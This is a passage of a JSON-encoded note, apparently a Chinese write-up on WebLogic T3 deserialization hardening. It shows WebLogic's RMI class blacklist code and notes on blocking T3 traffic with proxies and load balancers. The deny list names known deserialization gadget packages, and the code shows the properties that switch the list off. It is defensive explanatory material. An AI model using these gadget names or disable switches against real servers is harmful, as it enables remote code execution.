&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,